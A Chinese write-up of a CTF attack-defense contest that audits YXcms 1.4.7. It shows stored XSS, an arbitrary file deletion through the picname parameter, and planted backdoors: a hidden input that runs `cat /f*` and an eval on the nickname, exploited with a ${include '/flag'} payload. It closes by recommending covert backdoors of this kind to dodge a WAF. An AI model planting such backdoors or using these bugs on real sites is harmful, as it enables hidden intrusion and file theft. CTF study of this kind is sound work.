最近清理电脑时翻出去年一次线下AWD比赛的源码,正好最近还有线下awd比赛要准备,于是又审了审,那次比赛的源码也相对较简单,这里做个记录分享给大家。
官方的YXcms1.4.7这个版本存在好几个严重漏洞,但基本都在后台,前台有一个储存型XSS,要利用也需与管理员交互。说实话这几个漏洞都很鸡肋。
由于时间较短,选手也不太可能完整地审计完这个cms。比赛方对源码做了一些修改,留了几个后门。
网站是mvc路由模式,很容易就可以找到对应的代码文件。前台没有过滤措施,留言内容直接插到了数据库:
后台读取也没有过滤,文件位置protected/apps/admin/controller/extendfieldController.php
:
public function mesedit() { $tableid=intval($_GET['tabid']); if(!$this->checkConPower('extend',$tableid)) $this->error('您没有权限管理此独立表内容~'); $id=intval($_GET['id']);//信息id if(empty($tableid) || empty($id) ) $this->error('参数错误~'); $tableinfo = model('extend')->select("id='{$tableid}' OR pid='{$tableid}'",'id,tableinfo,name,type,defvalue','pid,norder DESC'); if(empty($tableinfo)) $this->error('自定义表不存在~'); if (!$this->isPost()) { $info=model('extend')->Extfind($tableinfo[0]['tableinfo'],"id='{$id}'"); $this->info=$info; $this->tableid=$tableid; $this->id=$id; $this->tableinfo=$tableinfo; $this->display(); } ... }
YXcms官方似乎一直不把后台漏洞当回事。
不需要管理员权限就可以访问,文件位置/protected/apps/default/view/default/1.php
:
漏洞位于phpoto控制器下的delpic方法,文件位置protected/apps/admin/controller/photoController.php
:
public function delpic() { if(empty($_POST['picname'])) $this->error('参数错误~'); $picname=$_POST['picname']; $path=$this->uploadpath; if(file_exists($path.$picname)) @unlink($path.$picname); else{echo '图片不存在~';return;} if(file_exists($path.'thumb_'.$picname)) @unlink($path.'thumb_'.$picname); else {echo '缩略图不存在~';return;} echo '原图以及缩略图删除成功~'; }
代码首先判断是否含有POST参数picname
,然后赋给$picname
,获取路径uploadpath=ROOT_PATH.'upload/photos/'
,使用file_exists()
函数判断文件是否存在,然后再unlink()
进行删除。参数$picname
完全可控,导致任意文件删除:
比赛方为了提高游戏体验还设置了网站后台弱口令,这里我就不多说了,进了后台很容易就可以getshell。
对应代码文件:protected/apps/default/view/default/extend_guestbook.php
:
<?php
...
<div class="field">
<input type="text" class="input" name="qq" placeholder="QQ号" />
<input type="hidden" class="input" name="qq" placeholder="<?php echo `cat /f*`;?>" />
</div>
...
?>
反引号`
执行命令cat /f*
。
与官方源码对比:
这个后门确实很隐蔽,很考验选手的洞察力了。
修复:删除漏洞代码行即可。
漏洞文件位置:protected/apps/member/view/index_welcome.php
<?php
...
<td>当前用户:<font color="blue"><?php eval("echo ${auth['nickname']};");?></font></td>
<td>上次登录IP:<font color="blue"><?php echo $auth['lastip'];?> </font></td>
...
?>
很明显有个危险函数函数eval
。要想利用则需控制auth
数组的nickname
。
注册用户,然后登入,在用户主页中,对应的功能点为:
修改账户昵称为:${include '/flag'}
与官方源码对比:
修复:将<?php eval("echo ${auth['nickname']};");?>
修改为{$auth['nickname']}
即可。
介绍了YXcms1.4.7版本存在的几个主要的前/后台漏洞,确实都很鸡肋。YXcms1.4.7在我赛前准备的CMS漏洞库里面,但对方改了管理员密码后,漏洞也用不了了。
比赛方留下的几个后门确实挺有意思的,其实这也是我们进攻后留下后门的一个思路。拿到shell后,对方正好上了waf,这时php木马就不好使了,但可以通过一些正常功能点来getflag,比如说找前台处插入:
<input type="hidden" placeholder="<?php echo `cat /目录/f* `;?>" />
这一类后门就很难被发现了。
比赛时一定要先备份源码!先找找官方的后门,很有可能不是简单的一句话木马,全局查找关键词flag
,cat
,eval
,exec
等一些敏感的词来快速发现后门。